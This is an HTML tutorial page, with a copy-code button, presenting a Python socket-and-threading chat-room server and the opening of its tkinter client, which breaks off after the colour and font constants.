&lt;link rel=&quot;stylesheet&quot; href=&quot;./style.css&quot;&gt;
&lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1&quot;&gt;
&lt;script src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js&quot;&gt;&lt;/script&gt;
&lt;script src=&quot;https://cdn.jsdelivr.net/clipboard.js/1.5.12/clipboard.min.js&quot;&gt;&lt;/script&gt;

&lt;style&gt;
button {
  display: inline-block;
  padding: 5px 20px;
  font-size: 24px;
  cursor: pointer;
  text-align: center;
  text-decoration: none;
  outline: none;
  color: #fff;
  background-color: #303134;
  border: none;
  border-radius: 15px;
  box-shadow: 0 9px #999;
}

button:hover {background-color: #202124}

button:active {
  background-color: #FF7357;
  box-shadow: 0 5px #666;
  transform: translateY(4px);
}

/* Popup container - can be anything you want */
.popup {
  position: relative;
  display: inline-block;
  cursor: pointer;
  -webkit-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
  user-select: none;
}

/* The actual popup */
.popup .popuptext {
  visibility: hidden;
  width: 160px;
  background-color: #555;
  color: #fff;
  text-align: center;
  border-radius: 6px;
  padding: 8px 0;
  position: absolute;
  z-index: 1;
  bottom: 125%;
  left: 50%;
  margin-left: -80px;
}

/* Popup arrow */
.popup .popuptext::after {
  content: &quot;&quot;;
  position: absolute;
  top: 100%;
  left: 50%;
  margin-left: -5px;
  border-width: 5px;
  border-style: solid;
  border-color: #555 transparent transparent transparent;
}

/* Toggle this class - hide and show the popup */
.popup .show {
  visibility: visible;
  -webkit-animation: fadeIn 1s;
  animation: fadeIn 1s;
}

/* Add animation (fade in the popup) */
@-webkit-keyframes fadeIn {
  from {opacity: 0;} 
  to {opacity: 1;}
}

@keyframes fadeIn {
  from {opacity: 0;}
  to {opacity:1 ;}
}

div.card {
  text-align: left;
  font-family: &#39;Aclonica&#39;;font-size: 22px;
  border: 2px solid #FFDD00;
}

/* Code By Webdevtrick ( https://webdevtrick.com) */
.shimmer {
  font-family: &quot;Lato&quot;;
  font-weight: 30;
  font-size: 1em;
  margin: 0 auto;
  padding: 0 140px 0 0;
  display: inline;
  margin-bottom: 0;
}
.shimmer {
  text-align: center;
  color: rgba(255,255,255,0.1);
  background: -webkit-gradient(linear, left top, right top, from(#222), to(#222), color-stop(0.5, #fff));
  background: -moz-gradient(linear, left top, right top, from(#222), to(#222), color-stop(0.5, #fff));
  background: gradient(linear, left top, right top, from(#222), to(#222), color-stop(0.5, #fff));
  -webkit-background-size: 125px 100%;
  -moz-background-size: 125px 100%;
  background-size: 125px 100%;
  -webkit-background-clip: text;
  -moz-background-clip: text;
  background-clip: text;
  -webkit-animation-name: shimmer;
  -moz-animation-name: shimmer;
  animation-name: shimmer;
  -webkit-animation-duration: 2s;
  -moz-animation-duration: 2s;
  animation-duration: 2s;
  -webkit-animation-iteration-count: infinite;
  -moz-animation-iteration-count: infinite;
  animation-iteration-count: infinite;
  background-repeat: no-repeat;
  background-position: 0 0;
  background-color: #222;
}
@-moz-keyframes shimmer {
  0% {
    background-position: top left;
  }
  100% {
    background-position: top right;
  }
}
@-webkit-keyframes shimmer {
  0% {
    background-position: top left;
  }
  100% {
    background-position: top right;
  }
}
@-o-keyframes shimmer {
  0% {
    background-position: top left;
  }
  100% {
    background-position: top right;
  }
}
@keyframes shimmer {
  0% {
    background-position: top left;
  }
  100% {
    background-position: top right;
  }
}
&lt;/style&gt;

&lt;script&gt;
$(function(){
  new Clipboard(&#39;.copy-text&#39;);
});


function myyFunction() {
  var popup = document.getElementById(&quot;myPopup&quot;);
  popup.classList.toggle(&quot;show&quot;);
}
&lt;/script&gt;

&lt;div class=&quot;card&quot;&gt;
&lt;!------------------------------&gt;


&lt;!-- HTML generated using hilite.me --&gt;&lt;div style=&quot;padding:20px;&quot;&gt;&lt;pre style=&quot;margin: 0; line-height: 125%&quot; id=&quot;content&quot;&gt;&lt;span style=&quot;color: #75715e&quot;&gt;# Import required modules&lt;/span&gt;
&lt;span style=&quot;color: #f92672&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;socket&lt;/span&gt;
&lt;span style=&quot;color: #f92672&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;threading&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2&quot;&gt;HOST&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;127.0.0.1&amp;#39;&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;PORT&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ae81ff&quot;&gt;1234&lt;/span&gt; &lt;span style=&quot;color: #75715e&quot;&gt;# You can use any port between 0 to 65535&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;LISTENER_LIMIT&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ae81ff&quot;&gt;5&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;active_clients&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;[]&lt;/span&gt; &lt;span style=&quot;color: #75715e&quot;&gt;# List of all currently connected users&lt;/span&gt;

&lt;span style=&quot;color: #75715e&quot;&gt;# Function to listen for upcoming messages from a client&lt;/span&gt;
&lt;span style=&quot;color: #66d9ef&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e&quot;&gt;listen_for_messages&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;(client,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;username):&lt;/span&gt;

    &lt;span style=&quot;color: #66d9ef&quot;&gt;while&lt;/span&gt; &lt;span style=&quot;color: #ae81ff&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;:&lt;/span&gt;

        &lt;span style=&quot;color: #f8f8f2&quot;&gt;message&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;client&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;recv(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;2048&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;decode(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;utf-8&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
        &lt;span style=&quot;color: #66d9ef&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;message&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;!=&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;:&lt;/span&gt;
            
            &lt;span style=&quot;color: #f8f8f2&quot;&gt;final_msg&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;username&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;~&amp;#39;&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;message&lt;/span&gt;
            &lt;span style=&quot;color: #f8f8f2&quot;&gt;send_messages_to_all(final_msg)&lt;/span&gt;

        &lt;span style=&quot;color: #66d9ef&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;:&lt;/span&gt;
            &lt;span style=&quot;color: #f8f8f2&quot;&gt;print(f&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;The message send from client {username} is empty&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;


&lt;span style=&quot;color: #75715e&quot;&gt;# Function to send message to a single client&lt;/span&gt;
&lt;span style=&quot;color: #66d9ef&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e&quot;&gt;send_message_to_client&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;(client,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;message):&lt;/span&gt;

    &lt;span style=&quot;color: #f8f8f2&quot;&gt;client&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;sendall(message&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;encode())&lt;/span&gt;

&lt;span style=&quot;color: #75715e&quot;&gt;# Function to send any new message to all the clients that&lt;/span&gt;
&lt;span style=&quot;color: #75715e&quot;&gt;# are currently connected to this server&lt;/span&gt;
&lt;span style=&quot;color: #66d9ef&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e&quot;&gt;send_messages_to_all&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;(message):&lt;/span&gt;
    
    &lt;span style=&quot;color: #66d9ef&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;user&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;active_clients:&lt;/span&gt;

        &lt;span style=&quot;color: #f8f8f2&quot;&gt;send_message_to_client(user[&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;],&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;message)&lt;/span&gt;

&lt;span style=&quot;color: #75715e&quot;&gt;# Function to handle client&lt;/span&gt;
&lt;span style=&quot;color: #66d9ef&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e&quot;&gt;client_handler&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;(client):&lt;/span&gt;
    
    &lt;span style=&quot;color: #75715e&quot;&gt;# Server will listen for client message that will&lt;/span&gt;
    &lt;span style=&quot;color: #75715e&quot;&gt;# Contain the username&lt;/span&gt;
    &lt;span style=&quot;color: #66d9ef&quot;&gt;while&lt;/span&gt; &lt;span style=&quot;color: #ae81ff&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;:&lt;/span&gt;

        &lt;span style=&quot;color: #f8f8f2&quot;&gt;username&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;client&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;recv(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;2048&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;decode(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;utf-8&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
        &lt;span style=&quot;color: #66d9ef&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;username&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;!=&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;:&lt;/span&gt;
            &lt;span style=&quot;color: #f8f8f2&quot;&gt;active_clients&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;append((username,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;client))&lt;/span&gt;
            &lt;span style=&quot;color: #f8f8f2&quot;&gt;prompt_message&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;SERVER~&amp;quot;&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;\u0332&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;join(f&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;{username} &amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot; joined the chatroom&amp;quot;&lt;/span&gt;
            &lt;span style=&quot;color: #f8f8f2&quot;&gt;send_messages_to_all(prompt_message)&lt;/span&gt;
            &lt;span style=&quot;color: #66d9ef&quot;&gt;break&lt;/span&gt;
        &lt;span style=&quot;color: #66d9ef&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;:&lt;/span&gt;
            &lt;span style=&quot;color: #f8f8f2&quot;&gt;print(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;Client username is empty&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;

    &lt;span style=&quot;color: #f8f8f2&quot;&gt;threading&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;Thread(target&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;listen_for_messages,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;args&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;(client,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;username,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;))&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;start()&lt;/span&gt;

&lt;span style=&quot;color: #75715e&quot;&gt;# Main function&lt;/span&gt;
&lt;span style=&quot;color: #66d9ef&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e&quot;&gt;main&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;():&lt;/span&gt;

    &lt;span style=&quot;color: #75715e&quot;&gt;# Creating the socket class object&lt;/span&gt;
    &lt;span style=&quot;color: #75715e&quot;&gt;# AF_INET: we are going to use IPv4 addresses&lt;/span&gt;
    &lt;span style=&quot;color: #75715e&quot;&gt;# SOCK_STREAM: we are using TCP packets for communication&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2&quot;&gt;server&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;socket(socket&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;AF_INET,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;SOCK_STREAM)&lt;/span&gt;

    &lt;span style=&quot;color: #75715e&quot;&gt;# Creating a try catch block&lt;/span&gt;
    &lt;span style=&quot;color: #66d9ef&quot;&gt;try&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;:&lt;/span&gt;
        &lt;span style=&quot;color: #75715e&quot;&gt;# Provide the server with an address in the form of&lt;/span&gt;
        &lt;span style=&quot;color: #75715e&quot;&gt;# host IP and port&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2&quot;&gt;server&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;bind((HOST,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;PORT))&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2&quot;&gt;print(f&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;Running the server on {HOST} {PORT}&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #66d9ef&quot;&gt;except&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;:&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2&quot;&gt;print(f&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;Unable to bind to host {HOST} and port {PORT}&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;

    &lt;span style=&quot;color: #75715e&quot;&gt;# Set server limit&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2&quot;&gt;server&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;listen(LISTENER_LIMIT)&lt;/span&gt;

    &lt;span style=&quot;color: #75715e&quot;&gt;# This while loop will keep listening to client connections&lt;/span&gt;
    &lt;span style=&quot;color: #66d9ef&quot;&gt;while&lt;/span&gt; &lt;span style=&quot;color: #ae81ff&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;:&lt;/span&gt;

        &lt;span style=&quot;color: #f8f8f2&quot;&gt;client,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;address&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;server&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;accept()&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2&quot;&gt;print(f&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;Successfully connected to client {address[0]} {address[1]}&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;

        &lt;span style=&quot;color: #f8f8f2&quot;&gt;threading&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;Thread(target&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;client_handler,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;args&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;(client,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;))&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;start()&lt;/span&gt;


&lt;span style=&quot;color: #66d9ef&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;__name__&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;:&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2&quot;&gt;main()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;!------------------------------&gt;
&lt;/div&gt;

&lt;div class=&quot;popup&quot; onclick=&quot;myyFunction()&quot;&gt;
&lt;span class=&quot;popuptext&quot; id=&quot;myPopup&quot;&gt;Copied&lt;/span&gt;
&lt;button class=&quot;copy-text&quot; data-clipboard-target=&quot;#content&quot; href=&quot;#&quot;&gt;Copy Code&lt;/button&gt;
&lt;/div&gt;


&lt;p&gt;Distribute the Client script to other computers connected with the same network.&lt;/p&gt;
&lt;meta charset=&quot;UTF-8&quot;&gt;
&lt;link rel=&#39;stylesheet&#39; href=&#39;https://fonts.googleapis.com/css?family=Lato:300&#39;&gt;
&lt;link rel=&quot;stylesheet&quot; href=&quot;./style.css&quot;&gt;
&lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1&quot;&gt;
&lt;script src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js&quot;&gt;&lt;/script&gt;
&lt;script src=&quot;https://cdn.jsdelivr.net/clipboard.js/1.5.12/clipboard.min.js&quot;&gt;&lt;/script&gt;

&lt;style&gt;
button {
  display: inline-block;
  padding: 5px 20px;
  font-size: 24px;
  cursor: pointer;
  text-align: center;
  text-decoration: none;
  outline: none;
  color: #fff;
  background-color: #303134;
  border: none;
  border-radius: 15px;
  box-shadow: 0 9px #999;
}

button:hover {background-color: #202124}

button:active {
  background-color: #FF7357;
  box-shadow: 0 5px #666;
  transform: translateY(4px);
}

/* Popup container - can be anything you want */
.popup {
  position: relative;
  display: inline-block;
  cursor: pointer;
  -webkit-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
  user-select: none;
}

/* The actual popup */
.popup .popuptext {
  visibility: hidden;
  width: 160px;
  background-color: #555;
  color: #fff;
  text-align: center;
  border-radius: 6px;
  padding: 8px 0;
  position: absolute;
  z-index: 1;
  bottom: 125%;
  left: 50%;
  margin-left: -80px;
}

/* Popup arrow */
.popup .popuptext::after {
  content: &quot;&quot;;
  position: absolute;
  top: 100%;
  left: 50%;
  margin-left: -5px;
  border-width: 5px;
  border-style: solid;
  border-color: #555 transparent transparent transparent;
}

/* Toggle this class - hide and show the popup */
.popup .show {
  visibility: visible;
  -webkit-animation: fadeIn 1s;
  animation: fadeIn 1s;
}

/* Add animation (fade in the popup) */
@-webkit-keyframes fadeIn {
  from {opacity: 0;} 
  to {opacity: 1;}
}

@keyframes fadeIn {
  from {opacity: 0;}
  to {opacity:1 ;}
}

div.card {
  text-align: left;
  font-family: &#39;Aclonica&#39;;font-size: 22px;
  border: 2px solid #FFDD00;
}

/* Code By Webdevtrick ( https://webdevtrick.com) */
.shimmer {
  font-family: &quot;Lato&quot;;
  font-weight: 30;
  font-size: 1em;
  margin: 0 auto;
  padding: 0 140px 0 0;
  display: inline;
  margin-bottom: 0;
}
.shimmer {
  text-align: center;
  color: rgba(255,255,255,0.1);
  background: -webkit-gradient(linear, left top, right top, from(#222), to(#222), color-stop(0.5, #fff));
  background: -moz-gradient(linear, left top, right top, from(#222), to(#222), color-stop(0.5, #fff));
  background: gradient(linear, left top, right top, from(#222), to(#222), color-stop(0.5, #fff));
  -webkit-background-size: 125px 100%;
  -moz-background-size: 125px 100%;
  background-size: 125px 100%;
  -webkit-background-clip: text;
  -moz-background-clip: text;
  background-clip: text;
  -webkit-animation-name: shimmer;
  -moz-animation-name: shimmer;
  animation-name: shimmer;
  -webkit-animation-duration: 2s;
  -moz-animation-duration: 2s;
  animation-duration: 2s;
  -webkit-animation-iteration-count: infinite;
  -moz-animation-iteration-count: infinite;
  animation-iteration-count: infinite;
  background-repeat: no-repeat;
  background-position: 0 0;
  background-color: #222;
}
@-moz-keyframes shimmer {
  0% {
    background-position: top left;
  }
  100% {
    background-position: top right;
  }
}
@-webkit-keyframes shimmer {
  0% {
    background-position: top left;
  }
  100% {
    background-position: top right;
  }
}
@-o-keyframes shimmer {
  0% {
    background-position: top left;
  }
  100% {
    background-position: top right;
  }
}
@keyframes shimmer {
  0% {
    background-position: top left;
  }
  100% {
    background-position: top right;
  }
}
&lt;/style&gt;

&lt;script&gt;
$(function(){
  new Clipboard(&#39;.copy-text&#39;);
});


function myyyFunction() {
  var popup = document.getElementById(&quot;myPopupp&quot;);
  popup.classList.toggle(&quot;show&quot;);
}
&lt;/script&gt;

&lt;div class=&quot;card&quot;&gt;
&lt;!------------------------------&gt;


&lt;!-- HTML generated using hilite.me --&gt;&lt;div style=&quot;padding:20px;&quot;&gt;&lt;pre style=&quot;margin: 0; line-height: 125%&quot; id=&quot;contentt&quot;&gt;&lt;span style=&quot;color: #75715e&quot;&gt;# import required modules&lt;/span&gt;
&lt;span style=&quot;color: #f92672&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;socket&lt;/span&gt;
&lt;span style=&quot;color: #f92672&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;threading&lt;/span&gt;
&lt;span style=&quot;color: #f92672&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;tkinter&lt;/span&gt; &lt;span style=&quot;color: #66d9ef&quot;&gt;as&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;tk&lt;/span&gt;
&lt;span style=&quot;color: #f92672&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;tkinter&lt;/span&gt; &lt;span style=&quot;color: #66d9ef&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;scrolledtext&lt;/span&gt;
&lt;span style=&quot;color: #f92672&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;tkinter&lt;/span&gt; &lt;span style=&quot;color: #66d9ef&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;messagebox&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2&quot;&gt;HOST&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;127.0.0.1&amp;#39;&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;PORT&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ae81ff&quot;&gt;1234&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2&quot;&gt;DARK_PURPLE&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;#500F4B&amp;#39;&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;MEDIUM_PURPLE&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;#77246F&amp;#39;&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;OCEAN_BLUE&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;#77246F&amp;#39;&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;WHITE&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;white&amp;quot;&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;FONT&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;Arial&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ae81ff&quot;&gt;17&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
